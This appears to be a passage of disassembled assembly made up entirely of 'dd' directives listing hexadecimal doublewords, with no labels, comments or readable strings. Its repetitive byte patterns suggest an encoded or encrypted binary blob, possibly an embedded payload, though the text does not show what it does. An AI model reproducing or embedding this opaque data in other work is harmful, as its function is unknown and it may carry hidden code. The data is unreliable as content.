		dd 63626338h, 0BC21A815h, 938C9D9Ch, 1C3C9923h,	999F8C8Dh
		dd 8C8D1C58h, 0A58C741Fh, 62631C19h, 231A9363h,	179C9C9Ch
		dd 8D1D88A9h, 655A1D8Ch, 9F9C9C63h, 8D1C28A9h, 0A815FA8Ch
		dd 99B68CE1h, 1C343D8Ch, 999F8C8Dh, 8C8D1DB4h, 1593741Fh
		dd 6263E419h, 17ED7763h, 6263E421h, 0A1881663h,	8C9DBD2Ch
		dd 633709A6h, 0CAE96362h, 7A5D6215h, 3809179Eh,	0A5636263h
		dd 9CBCA988h, 0DEE98C9Dh, 1D3C8917h, 88A58C8Dh,	9D8C7CA9h
		dd 93AFE88Ch, 8CE1A02Bh, 178C99B6h, 8D1C4CA9h, 645A1D8Ch
		dd 939C9C63h, 1EF48923h, 4A9D8C8Dh, 8EE86BA5h, 63E42117h
		dd 0A0116362h, 99B68CE1h, 9B63FA8Ch, 1963DD77h,	636263E4h
		dd 8D1ED03Dh, 9F40998Ch, 999F9C9Ch, 8C8D1C74h, 63E419A5h
		dd 1E936362h, 636363EFh, 21178177h, 63626330h, 1DE0A917h
		dd 0A99F8C8Dh, 8C8D1EACh, 0FA95721Fh, 8CE1A815h, 638C99B6h
		dd 8DC7EC89h, 3021178Ch, 15636263h, 0D6CC2198h,	0A9118C95h
		dd 8C8D1E5Ch, 7C21A815h, 178C9D8Ch, 62633021h, 21A01163h
		dd 8C9D8C7Ch, 63E02115h, 64156362h, 63AC17CCh, 211798CAh
		dd 63626330h, 7C21A011h, 158C9D8Ch, 62630C21h, 195BFA63h
		dd 63626314h, 29119C95h, 63626314h, 158C701Fh, 9C98257Bh
		dd 396F9C9Ch, 63182117h, 17CB6362h, 380B63A3h, 159C9C9Ch
		dd 3019635Fh, 11636263h, 62631419h, 8963CC63h, 8C8DEDC8h
		dd 63181917h, 17CC6362h, 94CA63ACh, 6320211Fh, 0E89C6362h
		dd 20191790h, 0CC636263h, 0CA63AC17h, 1C003D94h, 23938C8Dh
		dd 8D1EBC89h, 1F4C9D8Ch, 0D9A59474h, 1795E860h,	17CC60D9h
		dd 94CA63ACh, 1778D963h, 0D9A544D9h, 0A01E9378h, 17636365h
		dd 17CC40D9h, 94CA63ACh, 0CC48D917h, 0CA63AC17h, 0C35CAD94h
		dd 5F55C7C2h, 0CD7915C9h, 0CBCACFCCh, 1794E917h, 9F5A90C1h
		dd 1F6D159Ch, 1CDC6354h, 0E99C9DA0h, 60D91565h,	1EC4A117h
		dd 731F8C8Dh, 16EC779Dh, 0B2A0A298h, 0B3A090E8h, 2A9394E8h
		dd 5BA58CD9h, 0FEF483EFh, 748C8D17h, 6363FE40h,	0A2882A93h
		dd 0C911CCCEh, 8963CE65h, 8C91C6B4h, 778C581Fh,	17C1F4B3h
		dd 21748C8Dh, 0CC6363FEh, 0B08963CFh, 0F48C9C6Ch, 8C8D17C9h
		dd 63FE3774h, 882A9363h, 11CCCEA2h, 63CE65C9h, 91C6B489h
		dd 80581F8Ch, 0CC65D911h, 0B08963CFh, 1F8C9C6Ch, 0A7DB9458h
		dd 17EE60E1h, 55C7C2C3h, 0DBF4CB5Fh, 748C8D17h,	6363FEE8h
		dd 8963CCC5h, 8C9DB904h, 8D1E043Fh, 9923938Ch, 8C8D1D50h
		dd 1DC4999Fh, 741F8C8Dh, 499A79Bh, 0E98C8D1Eh, 17A5F48Bh
		dd 0D9748C8Dh, 0C56363FEh, 848963CCh, 3F8C99AFh, 8C8D1E04h
		dd 8D1DB43Dh, 9B741F8Ch, 1E0499A5h, 0BFE88C8Dh,	8D1C403Dh
		dd 8923938Ch, 8C8D1DF4h, 741F4C9Dh, 0A963CC9Ah,	8C8D1E04h
		dd 0BD308963h, 0B83F8C9Dh, 0C38C9C6Ch, 7915C95Fh, 9D90701Dh
		dd 17CB9C9Ch, 98F494E1h, 119C9C9Dh, 63626419h, 8963CC63h
		dd 8C9DB92Ch, 8D1D483Dh, 2889178Ch, 1F8C8D1Ch, 8149876h
		dd 63626E99h, 9D98F463h, 19119C9Ch, 63636264h, 2 dup(60D911CCh)
		dd 681911CCh, 0CC636362h, 9C9D98F4h, 6419119Ch,	0CC636362h
		dd 62641911h, 63CC6363h, 95C69889h, 17ADF48Ch, 0D748C8Dh
		dd 636363FDh, 63626829h, 63CBCC63h, 91C6B489h, 8C581F8Ch
		dd 8D1DE03Dh, 99741F8Ch, 7760D915h, 60D917B3h, 0A09B9816h
		dd 0A090E0DDh, 1794E3C6h, 649D60D9h, 17BC9C1Ch,	981660D9h
		dd 0E3A5A09Bh, 0E0ACA090h, 60D91794h, 9C1C649Dh, 60D963ADh
		dd 8D1DA03Dh, 0A4999F8Ch, 1F8C8D1Dh, 0D9A59874h, 0C322EE60h
		dd 15C95F55h, 4701D79h,	0CF9C9C9Eh, 0A117CBCAh,	8C8D1D94h
		dd 9394E917h, 1D808923h, 0D0118C8Dh, 724F928Bh,	1D188917h
		dd 0E0118C8Dh, 65159A8Bh, 7F4F6F15h, 62700115h,	44156363h
		dd 0D1A41DFAh, 3D92E8C6h, 8C8D1D5Ch, 9D9C9C99h,	775FB59Ch
		dd 1C0C3D7Fh, 5C1F8C8Dh, 3C999FA7h, 158C8D1Dh, 155E9D46h
		dd 63626809h, 9D9E1763h, 74191544h, 17636362h, 54A594D1h
		dd 243D92EAh, 998C8D1Dh, 9C9C6365h, 30775FB5h, 62741917h
		dd 19156363h, 63636278h, 0A19C2B93h, 9C9CD9CCh,	23938CE8h
		dd 8D1EBC99h, 6363998Ch, 5FB59C9Ch, 19171A77h, 63636278h
		dd 15E4DC17h, 63627C19h, 9D451563h, 6C11155Dh, 15636362h
		dd 9F461554h, 11CE90CCh, 63626119h, 0C174CC63h,	3D9C9CB1h
		dd 8C8D1D04h, 1D3C999Fh, 741F8C8Dh, 60D9159Fh, 0D917BE77h
		dd 99181660h, 63636261h, 8DE1E6A0h, 91E2FDA0h, 1160D917h
		dd 62619918h, 0B41C6363h, 60D963BCh, 9360D917h,	61991822h
		dd 0A7636362h, 8D1D5C99h, 3D57E98Ch, 8C8D1EACh,	54892393h
		dd 9D8C8D1Dh, 89201C5Eh, 63636264h, 17FCE8AEh, 8D1D4489h
		dd 9123938Ch, 8C8D1C70h, 529D4A15h, 64A9201Ch, 0CE636362h
		dd 201CD9E8h, 63626789h, 0A7E8D063h, 6499201Ch,	0D7636362h
		dd 683DADE8h, 9F8C8D1Ch, 8D1D9099h, 99201C8Ch, 63636264h
		dd 3D80E8AFh, 8C8D1D28h, 0FC892393h, 9D8C8D1Eh,	99201C4Ch
		dd 63636268h, 0FE1993D9h, 3D9C9C9Eh, 8C8D1DB8h,	1E80999Fh
		dd 741F8C8Dh, 64191595h, 75636362h, 9C9C9EA8h, 626C1917h
		dd 46156363h, 15BCCC9Fh, 63614809h, 64191763h, 15636362h
		dd 63614419h, 34911763h, 1F8C8D1Ch, 7D6B9875h, 614C1915h
		dd 19176363h, 63636148h, 614C0917h, 4C9D6363h, 62681915h
		dd 9C176363h, 1915449Dh, 63636140h, 7D1911CCh, 0CC636361h
		dd 9CB0B774h, 1DB43D9Ch, 999F8C8Dh, 8C8D1E80h, 4699201Ch
		dd 0DB636361h, 9D201993h, 0C43D9C9Ch, 9F8C8D1Dh, 8D1EF099h
		dd 99201C8Ch, 63636147h, 3F1993CCh, 3D9C9C9Dh, 8C8D1DA0h
		dd 1C892393h, 9D8C8D1Dh, 99201C4Ch, 6363617Ch, 1B1993EEh
		dd 3D9C9C9Dh, 8C8D1D90h, 1D00999Fh, 201C8C8Dh, 63614F99h
		dd 1993E863h, 9C9C9DF2h, 0B0992393h, 9F8C8D1Dh,	8D1C5899h
		dd 99201C8Ch, 63636145h, 0CF1993FFh, 3D9C9C9Dh,	8C8D1C7Ch
		dd 9F9A5C1Fh, 8D1C5499h, 99201C8Ch, 6363617Dh, 0AB1993DDh
		dd 179C9C9Dh, 63626C19h, 0B8DC1763h, 1915449Dh,	636361ECh
		dd 62641917h, 91176363h, 8C8D1D24h, 1D04919Fh, 751F8C8Dh
		dd 157D6B94h, 6361F019h, 0EC191763h, 17636361h,	6361F009h
		dd 154C9D63h, 63627019h
		dd 9C2B9363h, 61501915h, 23936363h, 8D1D0891h, 9F751F8Ch
		dd 19157D6Bh, 636361F4h, 5E9D4615h, 626C1917h, 0CC9F6363h
		dd 68091580h, 15636362h, 9F46154Ch, 5409158Ch, 15636361h
		dd 9DBD3089h, 3221118Ch, 11636361h, 8D18A8A9h, 9C91258Ch
		dd 0FA6F9C9Ch, 0E0811539h, 118C8D1Eh, 63613D21h, 0D2A91163h
		dd 258C8D18h, 9C9C9C91h, 2111386Fh, 63636110h, 18C7A911h
		dd 89258C8Dh, 6F9C9C9Ch, 0EB211138h, 11636361h,	8D18ECA9h
		dd 9C89258Ch, 386F9C9Ch, 61EB1911h, 63CC6363h, 8D1EE0A9h
		dd 3089638Ch, 3F8C9DBDh, 8C8DC6C0h, 61101911h, 63CC6363h
		dd 8D1EE0A9h, 3089638Ch, 3F8C9DBDh, 8C95D6DCh, 613D1911h
		dd 63CC6363h, 8D1EE0A9h, 3089638Ch, 3F8C9DBDh, 8C8DECBCh
		dd 61321911h, 63CC6363h, 8D1EE0A9h, 3089638Ch, 3F8C9DBDh
		dd 8C9D9350h, 19638777h, 63636264h, 626C1917h, 0DC176363h
		dd 6419A584h, 93636362h, 63612B1Eh, 0C7C2C363h,	0CACF5F55h
		dd 90B8D017h, 1D00A917h, 0A99F8C8Dh, 8C8D1D48h,	70812393h
		dd 1D8C8D1Ch, 5137155Fh, 2DC01573h, 0A9239358h,	8C8D1E90h
		dd 1DF88117h, 0E8118C8Dh, 81179E82h, 8C8D1EB0h,	40615F1Dh
		dd 80150426h, 0C4A9172Dh, 938C8D1Dh, 1C308123h,	89178C8Dh
		dd 8C8D1D84h, 0FA8F0011h, 158CAEC8h, 17942DC0h,	8D1D88A9h
		dd 4CA99F8Ch, 938C8D1Dh, 1E888123h, 5F1D8C8Dh, 0FBD9BE62h
		dd 702DC015h, 0C95FC7C2h, 701D7915h, 9C9C9EACh,	17CBCACFh
		dd 0C11794E9h, 0A1441590h, 9C9C9D9Ch, 10938AE8h, 9C9C9916h
		dd 9C9D8DA1h, 118939Ch,	759C9C9Ch, 9C9C99E6h, 958CE11Fh
		dd 99EC1993h, 183D9C9Ch, 158C8D1Dh, 0A19F5Bh, 1F8C8D1Ch
		dd 0F7779373h, 9C9CAC24h, 157B6B9Ch, 63616419h,	99A8A763h
		dd 8C95AAF8h, 0AC2483E9h, 6B9C9C9Ch, 6819157Bh,	63636361h
		dd 0AAF499A8h, 89638C95h, 8C99B560h, 9C99B575h,	9CAC249Ch
		dd 7B6B9C9Ch, 61681915h, 0A8A76363h, 95AAFC99h,	2483E98Ch
		dd 9C9C9CACh, 19157B6Bh, 6363616Ch, 0F899A863h,	638C95AAh
		dd 99B56089h, 9868758Ch, 3DDB9C9Ch, 8C8D1DE8h, 0A5FF5C1Fh
		dd 7515EE5Bh, 9C9C987Eh, 1C68A117h, 731F8C8Dh, 2486779Eh
		dd 9C9C9CACh, 19157B6Bh, 63636164h, 0F0999817h,	0A58C95AAh
		dd 8AE888D9h, 1DE83DDBh, 5C1F8C8Dh, 892393FFh, 8C8D1E90h
		dd 5BA54C9Dh, 0D83D4DEEh, 1F8C8D1Eh, 5BA5C15Ch,	98041893h
		dd 23939C9Ch, 8D1DD899h, 6C999F8Ch, 5A8C8D1Dh, 616F9918h
		dd 3DE06363h, 8C8D1C38h, 1EB0999Fh, 185A8C8Dh, 63616E99h
		dd 983DD763h, 178C8D1Eh, 8D1D9489h, 9E761F8Ch, 67990814h
		dd 0F4636361h, 9C9C9C63h, 62611911h, 24CC6363h,	9C9C9CACh
		dd 19157B6Bh, 63636168h, 0C499A863h, 638C95AAh,	8DECA489h
		dd 6119118Ch, 0CC636362h, 61601911h, 63CC6363h,	9C6CB089h
		dd 94581F8Ch, 9C9C63F4h, 6119119Ch, 0CC636362h,	9C9CAC24h
		dd 157B6B9Ch, 63616C19h, 99A86363h, 8C95AAFCh, 0ECA48963h
		dd 543D8C8Dh, 938C8D1Ch, 1D148923h, 4C9D8C8Dh, 9399741Fh
		dd 62610922h, 4CA56363h, 92F4C9E9h, 748C8D17h, 6363C648h
		dd 8917C5h, 9F8C8D1Ch, 8D1D6889h, 90761F8Ch, 0CC8917CEh
		dd 1F8C8D1Eh, 0CCCE9E76h, 1DD08917h, 761F8C8Dh,	8963CE9Ah
		dd 8C91C6A4h, 9C9CAC24h, 157B6B9Ch, 63617019h, 99A86363h
		dd 8C95AAFCh, 0B5608963h, 1B758C99h, 0F49C9C9Fh, 8C8D1795h
		dd 63C6E374h, 911CC63h,	63636160h, 0B08963CEh, 118C9C6Ch
		dd 63626119h, 1911CC63h, 63636160h, 0B08963CCh,	1F8C9C6Ch
		dd 63F48858h, 119C9C9Ch, 63626119h, 0AC24CC63h,	6B9C9C9Ch
		dd 7019157Bh, 63636361h, 0AAF899A8h, 89638C95h,	8C8DECA4h
		dd 8D1E9C3Dh, 9F741F8Ch, 61092293h, 0A5636362h,	0F4D3E94Ch
		dd 8C8D167Bh, 63C68B74h, 8917C563h, 8C8D1D64h, 0CE9B761Fh
		dd 1EC08917h, 761F8C8Dh, 17CCCE99h, 8D1DC889h, 9B761F8Ch
		dd 0A48963CEh, 248C91C6h, 9C9C9CACh, 19157B6Bh,	63636174h
		dd 0F899A863h, 638C95AAh, 99B56089h, 9E4C758Ch,	7EF49C9Ch
		dd 748C8D16h, 6363C554h, 600911CCh, 0CE636361h,	6CB08963h
		dd 19118C9Ch, 63636261h, 601911CCh, 0CC636361h,	6CB08963h
		dd 581F8C9Ch, 9C63F488h, 19119C9Ch, 63636261h, 9CAC24CCh
		dd 7B6B9C9Ch, 61741915h, 0A8636363h, 95AAF499h,	0A489638Ch
		dd 938C8DECh, 1DC09923h, 999F8C8Dh, 8C8D1D5Ch, 939F741Fh
		dd 62610922h, 4CA56363h, 9DB51893h, 11119C9Ch, 63636261h
		dd 0DC63541Fh, 9C9DA01Ch, 239365E9h, 8D1EE891h,	0C0919F8Ch
		dd 1F8C8D1Eh, 54A59E75h, 9D9D1E93h, 23939C9Ch, 8D1E8899h
		dd 9F741F8Ch, 62671914h, 0BE776363h, 67192A93h,	16636362h
		dd 62619918h, 0A5A06363h, 0ACA098E3h, 487599E1h, 1C9C9C9Ch
		dd 63626719h, 11119D63h, 63636261h, 0DC63541Fh,	9C9DA01Ch
		dd 2A9365E9h, 63626711h, 0EE5DA563h, 9923935Fh,	8C8D1D50h
		dd 1D44999Fh, 741F8C8Dh, 60191491h, 77636362h, 601916EAh
		dd 14636362h, 63617B19h, 93B57763h, 617B192Ah, 22936363h
		dd 62619918h, 2A936363h, 63626009h, 8229363h, 63626189h
		dd 0E94CA563h, 7B191CBEh, 9D636361h, 62611111h,	541F6363h
		dd 0A01CDC63h, 65E99C9Dh, 7B112A93h, 0A5636361h, 9320EE5Dh
		dd 617B192Ah, 2A936363h, 63626009h, 174CB563h, 8D1DFC89h
		dd 9E761F8Ch, 0B7E34CA5h, 6260191Ch, 119D6363h,	63626111h
		dd 63541F63h, 9DA01CDCh, 9365E99Ch, 6260112Ah, 5DA56363h
		dd 63F71E93h, 5756363h,	3D9C9C9Ch, 8C8D1DACh, 9C9B5099h
		dd 8923939Ch, 8C8D1EE8h, 63CC4C9Dh, 91C6B889h, 1635F48Ch
		dd 8D748C8Dh, 156363C4h, 63617819h, 160EF463h, 9D748C8Dh
		dd 936363C4h, 1C788923h, 0CCCE8C8Dh, 61780917h,	63CE6363h
		dd 8D1D9CA9h, 0A489638Ch, 0F48C91C6h, 8C8D1612h, 63CB4774h
		dd 8C581F63h, 9CAC24CCh, 7B6B9C9Ch, 617C1915h, 5E156363h
		dd 0F489A863h, 638C95AAh, 8DC6C889h, 9CAC248Ch,	7B6B9C9Ch
		dd 61401915h, 0A8636363h, 95AAF499h, 6089638Ch,	758C99B5h
		dd 9C9C9C06h, 8D1615F4h, 0CB0E748Ch, 11CC6363h,	63616009h
		dd 8963CE63h, 8C9C6CB0h, 62611911h, 11CC6363h, 63616019h
		dd 8963CC63h, 8C9C6CB0h, 9C9CAC24h, 157B6B9Ch, 63614419h
		dd 99A86363h, 8C95AAC4h, 0AD748963h, 19118C99h,	63636160h
		dd 888963CCh, 1F8C9D9Ch, 99F68458h, 9C9CAC24h, 157B6B9Ch
		dd 63614819h, 99A86363h, 8C95AAC8h, 0C6C48963h,	0AC248C8Dh
		dd 6B9C9C9Ch, 4C19157Bh, 3D636361h, 8C8D1D7Ch, 1E98999Fh
		dd 741F8C8Dh, 4C091790h, 15636361h, 0AACC8998h,	443D8C95h
		dd 158C8D1Dh, 0F8A19F5Bh, 1F8C8D1Eh, 48759673h,	249C9C9Ch
		dd 9C9C9CACh, 0D9157B6Bh, 99A8A764h, 8C95AAFCh,	0E963B8E9h
		dd 8CE96388h, 0AC24CACFh, 6B9C9C9Ch, 68D9157Bh,	0EC99A863h
		dd 638C95AAh, 95C56089h, 9C31758Ch, 0AC249C9Ch,	6B9C9C9Ch
		dd 6CD9157Bh, 0F899A8A7h, 0E98C95AAh, 88E963BDh, 0CF8CE963h
		dd 9CAC24CAh, 7B6B9C9Ch, 6370D915h, 0AAE899A8h,	89638C95h
		dd 8C95C560h, 0AC24E577h, 6B9C9C9Ch, 74D9157Bh,	0C099A8A5h
		dd 0E98C95AAh, 88E963BDh, 0CF8CE963h, 9CAC24CAh, 7B6B9C9Ch
		dd 6378D915h, 0AAE099A8h, 89638C95h, 8C95C560h,	0AC24D977h
		dd 6B9C9C9Ch, 7CD9157Bh
		dd 0F499A8A5h, 0E98C95AAh, 88E963BDh, 0CF8CE963h, 9CAC24CAh
		dd 7B6B9C9Ch, 6340D915h, 0AAE499A8h, 89638C95h,	8C95C560h
		dd 3DDB8D77h, 8C8D1D04h, 0A5FD5C1Fh, 801E935Bh,	0C3636363h
		dd 5E55C7C2h, 9D249C8Ch, 5E1C9CDCh, 15C99C8Ch, 9C982479h
		dd 49749C9Dh, 0CF9C9CBEh, 0E917CBCAh, 0DCA11194h, 1C8C95A9h
		dd 0E9DF90E1h, 3CA1119Ah, 1C8C9DBCh, 0E9CC90E1h, 0ACA1119Ah
		dd 3D8C95D5h, 8C8D1D60h, 1D48999Fh, 741F8C8Dh, 1CF4CC95h
		dd 0F69C9C9Ch, 1DB83D9Fh, 741F8C8Dh, 9FF6CC95h,	9C9C9CF4h
		dd 8963CB5Ch, 8C8DF084h, 23935B15h, 8D1C2C99h, 625C1F8Ch
		dd 189364A5h, 9C9C9C20h, 0E83D9CF6h, 938C8D1Dh,	1D308923h
		dd 4C9D8C8Dh, 0CC9B741Fh, 8963CBCAh, 8C8DECACh,	6C992393h
		dd 9F8C8D1Ch, 8D1ECC99h, 99741F8Ch, 60D911CCh, 6363F4CCh
		dd 19119C9Ch, 63626361h, 8963CBCCh, 8C9C6CA8h, 9C9D1111h
		dd 541F6363h, 0A01CDC63h, 65E99C9Dh, 0B8892393h, 1F8C8D1Eh
		dd 5F159F5Eh, 0C1154F9Dh, 939CF660h, 1D089923h,	741F8C8Dh
		dd 0CBCACC9Bh, 0ECAC8963h, 0A9178C8Dh, 8C8D1D38h, 1560C117h
		dd 63792900h, 23936362h, 8D1E9099h, 0D911CC8Ch,	2393CC60h
		dd 8D1DD899h, 34999F8Ch, 1F8C8D1Ch, 11CC9974h, 62636119h
		dd 63CBCC63h, 8DEC8089h, 8963CB8Ch, 8C95D6D4h, 55C7C2C3h
		dd 7915C95Fh, 90E117CBh, 0FA84D917h, 9384D915h,	1D209923h
		dd 89178C8Dh, 8C8D1C0Ch, 688C1811h, 0A59C9C9Ch,	6391E964h
		dd 887480E9h, 0C5636344h, 0BA775CADh, 8D1D783Dh, 9C61998Ch
		dd 999F9C9Ch, 8C8D1DE8h, 91E95BA5h, 7480E963h, 636308E4h
		dd 775CADC5h, 9C9F2499h, 0C1C31C9Eh, 0C99CB85Eh, 0CACF7915h
		dd 94C117CBh, 0CF90E917h, 6C9C8963h, 5B158C9Ch,	8D1C243Dh
		dd 94741F8Ch, 1C583DCCh, 741F8C8Dh, 0D43DCC95h,	998C8D1Eh
		dd 9C9C8367h, 0CFCBCACCh, 8D1DE83Dh, 8923938Ch,	8C8D1C3Ch
		dd 741F4C9Dh, 9CF6CC94h, 6C8C8963h, 0F83D8C9Ch,	938C8D1Eh
		dd 1DBC8923h, 4C9D8C8Dh, 149A741Fh, 6415A298h, 0C1C7C2C3h
		dd 7915C95Fh, 0CFCC701Fh, 0C117CBCAh, 0EC896394h, 158C8DC7h
		dd 0A91760D9h, 8C8D1D5Ch, 8917F477h, 8C8D1C48h,	1EEC899Fh
		dd 761F8C8Dh, 2988A590h, 8C9D8C7Ch, 8817D3E8h, 95D6CC29h
		dd 70C9158Ch, 1D7C9117h, 5D1D8C8Dh, 9C9C76CBh, 8D1D903Dh
		dd 8923938Ch, 8C8D1C44h, 5E154C9Dh, 9391761Fh, 0C9175633h
		dd 0A7569D70h, 85EF60C9h, 1DA88917h, 23938C8Dh,	8D1DB091h
		dd 1F569D8Ch, 88159176h, 9D8C7C29h, 2393DA8Ch, 8D1EE899h
		dd 9F7B998Ch, 5AA59C9Ch, 9F1714EEh, 116CD915h, 44159F80h
		dd 0A794D9B7h, 1F9390D9h, 9C9C9D44h, 8D1C243Dh,	98999F8Ch
		dd 1F8C8D1Eh, 0D9A59B74h, 154BEB6Ch, 63541F45h,	9DA01CDCh
		dd 1565E99Ch, 441568D9h, 9394D9B7h, 1C2C8923h, 5E1F8C8Dh
		dd 154CB59Fh, 0A11764D9h, 8C8D1DB8h, 7795731Fh,	0A19816B3h
		dd 8C9DBD2Ch, 0E984D9A6h, 64C917BEh, 0BC2188A5h, 0E98C9D9Ch
		dd 5889178Ah, 1F8C8D1Ch, 88A59576h, 9D8C7C21h, 0D119938Ch
		dd 0DB9C9C9Dh, 8D1C483Dh, 9F7D998Ch, 5BA59C9Ch,	23935FEEh
		dd 8D1EDC99h, 9F23998Ch, 0D9A59C9Ch, 4A1A9368h,	3D9C9C9Ch
		dd 8C8D1EA4h, 9F985C1Fh, 8D1D8899h, 0D911CC8Ch,	0EE74CC2Dh
		dd 1F9C9C91h, 23939458h, 8D1C7099h, 8923938Ch, 8C8D1DF4h
		dd 741F4C9Dh, 78D91598h, 8D1EA43Dh, 9F2B998Ch, 999F9C9Ch
		dd 8C8D1D10h, 1774D915h, 981674D9h, 7FD9149Fh, 1774D917h
		dd 8D1D6C89h, 9C899F8Ch, 1F8C8D1Eh, 88149076h, 937CF49Fh
		dd 0E9638C9Dh, 78E96368h, 0CC2DD911h, 6388D917h, 94E963ACh
		dd 8CE963CFh, 8D1ED43Dh, 8923938Ch, 8C8D1C70h, 741F4C9Dh
		dd 9C63B998h, 74CC9C9Ch, 636355A6h, 17B8581Fh, 0D91574D9h
		dd 7FC91678h, 3D9F8814h, 8C8D1C24h, 9C9F2A99h, 8923939Ch
		dd 8C8D1D1Ch, 0D99D4C9Dh, 68D91774h, 0EA74D9A5h, 74D9159Fh
		dd 0A568D917h, 0CFEF78D9h, 6363F275h, 1618F463h, 7D748C8Dh
		dd 0F46363CDh, 8C9D937Ch, 1768E963h, 8D1D5C89h,	38899F8Ch
		dd 1F8C8D1Dh, 0CCCE9A76h, 6388C917h, 94E963AEh,	8CE963CFh
		dd 30892393h, 9F8C8D1Ch, 8D1ECC89h, 95761F8Ch, 9C637E1Dh
		dd 74CE9C9Ch, 6363542Eh, 17B4581Fh, 9C6388D9h, 68D917DFh
		dd 179F8011h, 239388D9h, 8D1D8C89h, 8F5E1F8Ch, 1A938CA5h
		dd 6363628Eh, 8D161CF4h, 0CDEE748Ch, 7CF46363h,	938C9D93h
		dd 1D548923h, 4D158C8Dh, 0CD9B751Fh, 1C049117h,	751F8C8Dh
		dd 17CCCD9Eh, 8D1C6891h, 9E751F8Ch, 0F09117CDh,	938C8D1Dh
		dd 1E8C9923h, 5D9D8C8Dh, 0CD90751Fh, 30912393h,	938C8D1Dh
		dd 1EC89923h, 5D9D8C8Dh, 0CD92751Fh, 938CE963h,	1E889123h
		dd 4D9D8C8Dh, 761F5615h, 637E1D95h, 0CE9C9C9Ch,	63548574h
		dd 0B4581F63h, 55C7C2C3h, 7915C95Fh, 94E963CBh,	1E3CA963h
		dd 89638C8Dh, 8C9DBD30h, 0C1C35B15h, 0ECF4CB5Fh, 748C8D16h
		dd 6363CC40h, 8963CCC5h, 8C9DB904h, 8D1E3C3Fh, 1DF83D8Ch
		dd 999F8C8Dh, 8C8D1C00h, 0A59B741Fh, 8D1E3C99h,	0F48BE98Ch
		dd 8C8D16FCh, 63CC3374h, 63CCC563h, 99AF8489h, 1E3C3F8Ch
		dd 0DEF48C8Dh, 748C8D16h, 6363CC04h, 630F74CCh,	743F6363h
		dd 0F48C99B5h, 8C8D16B7h, 63CC1F74h, 0E274CC63h, 3F636363h
		dd 8C95C68Ch, 8D168CF4h, 0CCF2748Ch, 74CC6363h,	636363F5h
		dd 9C6CCC3Fh, 156FF48Ch, 0C5748C8Dh, 0CC6363CCh, 6363C874h
		dd 0BD343F63h, 43F48C9Dh, 748C8D15h, 6363CCD8h,	63A374CCh
		dd 0F43F6363h, 0F48C8DC6h, 8C8D1557h, 63CCB374h, 0B674CC63h
		dd 3F636363h, 8C9DBC1Ch, 8D1537F4h, 0CC86748Ch,	74CC6363h
		dd 63636389h, 9D9C943Fh, 1512F48Ch, 99748C8Dh, 0CC6363CCh
		dd 63639C74h, 0AD783F63h, 0E6F48C99h, 748C8D15h, 6363D36Ch
		dd 627774CCh, 0D03F6363h, 0F48C9C6Ch, 8C8D15FDh, 63D34774h
		dd 4A74CC63h, 3F636362h, 8C9C6CBCh, 8D15CEF4h, 0D35A748Ch
		dd 74CC6363h, 6363625Dh, 95C6943Fh, 15DDF48Ch, 2D748C8Dh
		dd 0CC6363D3h, 63623074h, 0B9003F63h, 0B7F48C9Dh, 748C8D15h
		dd 6363D300h, 620B74CCh, 403F6363h, 0F48C99B5h,	8C8D158Eh
		dd 63D31B74h, 1E74CC63h, 3F636362h, 8C95D580h, 8D159EF4h
		dd 0D3EE748Ch, 74CC6363h, 636362F1h, 3FE4581Fh,	8C9DB93Ch
		dd 15C95FC3h, 0E917FC79h, 842C248Ch, 1A158C9Ch,	9C9C9C24h
		dd 1590D917h, 9C9C581Ah, 7015FD9Ch, 5F5CADC1h, 7915C95Fh
		dd 93CBCFCDh, 2594D92Ah, 9C9C9CB7h, 3C221F26h, 5D7E6BB3h
		dd 0C9159F76h, 154B1560h, 94C11467h, 94D92A93h,	8C892393h
		dd 1F8C8D1Dh, 4CA59F5Eh, 0F3249BE9h, 779C9C9Ch,	1DCC3DE3h
		dd 741F8C8Dh, 0C92A9398h, 0E94CA594h, 9CF9249Bh, 0F4779C9Ch
		dd 94D92A93h, 1C208917h, 23938C8Dh, 8D1C5091h, 1F569D8Ch
		dd 4CA59E76h, 0F5249BE9h, 779C9C9Ch, 0D92A93DBh, 84891794h
		dd 1F8C8D1Dh, 4CA59476h, 0E5249BE9h, 779C9C9Ch,	0D92A93B3h
		dd 7C891794h, 1F8C8D1Dh, 4CA59B76h, 0E9249BE9h,	779C9C9Ch
		dd 0D92A938Bh, 89239394h, 8C8D1E88h, 0A59E5E1Fh, 2499E94Ch
		dd 9C9C9CFDh, 5F55C7C3h, 8D1474F4h, 0D2EA748Ch,	74CC6363h
		dd 6363078Ah, 95C6803Fh, 144FF48Ch, 0FD748C8Dh,	0CC6363D2h
		dd 63079D74h, 0BC143F63h, 5FF48C9Dh, 748C8D14h,	6363D2D0h
		dd 67074CCh, 5C3F6363h
		dd 0F48C9D93h, 8C8D142Ah, 63D2AB74h, 4B74CC63h,	3F636306h
		dd 8C8DEC80h, 8D143BF4h, 0D2BE748Ch, 74CC6363h,	6363065Eh
		dd 95D58C3Fh, 140EF48Ch, 91748C8Dh, 0CC6363D2h,	63063174h
		dd 0C6D03F63h, 0EBF48C8Dh, 748C8D14h, 6363D164h, 60474CCh
		dd 0D83F6363h, 0F48C95D6h, 8C8D14F5h, 63D17F74h, 1F74CC63h
		dd 3F636306h, 8C8DC6FCh, 8D14C1F4h, 0D152748Ch,	74CC6363h
		dd 636306F2h, 9C6CA83Fh, 14DBF48Ch, 25748C8Dh, 0CC6363D1h
		dd 6306C574h, 0D5843F63h, 0ACF48C95h, 748C8D14h, 6363D138h
		dd 6D874CCh, 683F6363h,	0F48C99B5h, 8C8D1482h, 63D11374h
		dd 0B374CC63h, 3F636306h, 8C9DB934h, 8D149BF4h,	0D1E6748Ch
		dd 74CC6363h, 63630686h, 91C6BC3Fh, 1B68F48Ch, 0F9748C8Dh
		dd 0CC6363D1h, 63069974h, 0F08C3F63h, 40F48C8Dh, 748C8D1Bh
		dd 6363D1CCh, 56C74CCh,	643F6363h, 0F48C99B5h, 8C8D1B57h
		dd 63D1A774h, 4774CC63h, 3F636305h, 8C9D9354h, 8D1B27F4h
		dd 0D1BA748Ch, 74CC6363h, 6363055Ah, 8DC7EC3Fh,	1B37F48Ch
		dd 8D748C8Dh, 0CC6363D1h, 63052D74h, 0AF803F63h, 0F48C99h
		dd 748C8D1Bh, 6363D060h, 50074CCh, 883F6363h, 0F48C95C6h
		dd 8C8D1B11h, 63D07B74h, 1B74CC63h, 3F636305h, 8C8DF080h
		dd 8D1BE3F4h, 0D04E748Ch, 74CC6363h, 636305EEh,	99B5703Fh
		dd 1BEFF48Ch, 21748C8Dh, 0CC6363D0h, 6305C174h,	6C9C3F63h
		dd 0F8F48C9Ch, 748C8D1Bh, 6363D034h, 5D474CCh, 903F6363h
